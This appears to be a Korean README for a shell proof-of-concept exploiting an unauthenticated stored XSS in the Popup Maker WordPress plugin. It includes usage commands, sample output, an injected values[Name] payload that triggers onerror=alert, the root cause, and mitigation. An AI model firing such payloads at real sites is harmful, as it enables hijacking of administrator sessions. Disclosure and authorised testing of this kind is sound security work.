Popup Maker WordPress 플러그인(<=1.24.0)의 인증되지 않은 저장형 XSS인 CVE-2026-87915에 대한 Shell PoC입니다. 플러그인을 핑거프린팅하고 페이로드 주입을 시연합니다.
| 구성 요소 | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (WordPress 플러그인) |
| 유형 | CWE-79 — 저장형 크로스 사이트 스크립팅 |
| 영향 받는 버전 | <= 1.24.0 |
| 수정 버전 | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
공개된 Popup Maker 옵트인/뉴스레터 양식은 values[Name] 매개변수를 정제 없이
허용합니다 (action=pum_sub_form). 이 값은 서버 측에 저장되며 이후 관리자
Subscribers 화면에서 렌더링됩니다. 출력 시 적용되는 wp_kses() 필터링은 이
상황에서 충분하지 않습니다. 허용된 속성 값 내부의 HTML 엔티티는 정규화 과정을
통과하여 살아남고, 관리자가 상황별 도움말 탭 앵커를 클릭할 때
wp-admin/js/common.js의 jQuery( link.attr('href') ) DOM 싱크에 의해 평가됩니다.
최종 결과: 관리자를 대상으로 한 인증되지 않은 저장형 XSS (관리자 측에서 클릭 한 번 필요).
# 대화형 메뉴
./poc.sh
# 읽기 전용: 플러그인 핑거프린팅 및 공개 구독 양식 탐지
./poc.sh check --target https://example.com
# 페이로드 저장 (구독자 행 하나를 기록; 권한 필요)
./poc.sh inject --target https://example.com --authorized
inject는 기본적으로 고유한 테스트 이메일을 사용하며 정리 단계를 출력합니다 (관리자 UI 또는
DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, 랩 환경)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (소문자)은 일반 필드입니다. 대소문자가 섞인 values[Name]은
PHP 배열 키 정규화 과정에서 충돌하며 페이로드를 통과시킵니다.wp_kses()는 <a href> 요소를 허용합니다. 속성 내부의 엔티티로 인코딩된
``는 필터링을 통과하여 살아남고 이후 디코딩/정규화됩니다.wp-admin/js/common.js는 jQuery( link.attr('href') )를 평가하며, 이는 디코딩된
HTML을 파싱하여 onerror 핸들러를 실행합니다.esc_html() +
sanitize_text_field() 적용; classes/Admin/Subscribers/Table.php에 대한 벤더
변경 집합 참조).values[Name]을
필터링하세요.승인된 보안 테스트 전용입니다. check는 읽기 전용이며, inject는 테스트 구독자 행을
정확히 하나 생성합니다 — 이후 출력된 정리 명령으로 삭제하세요.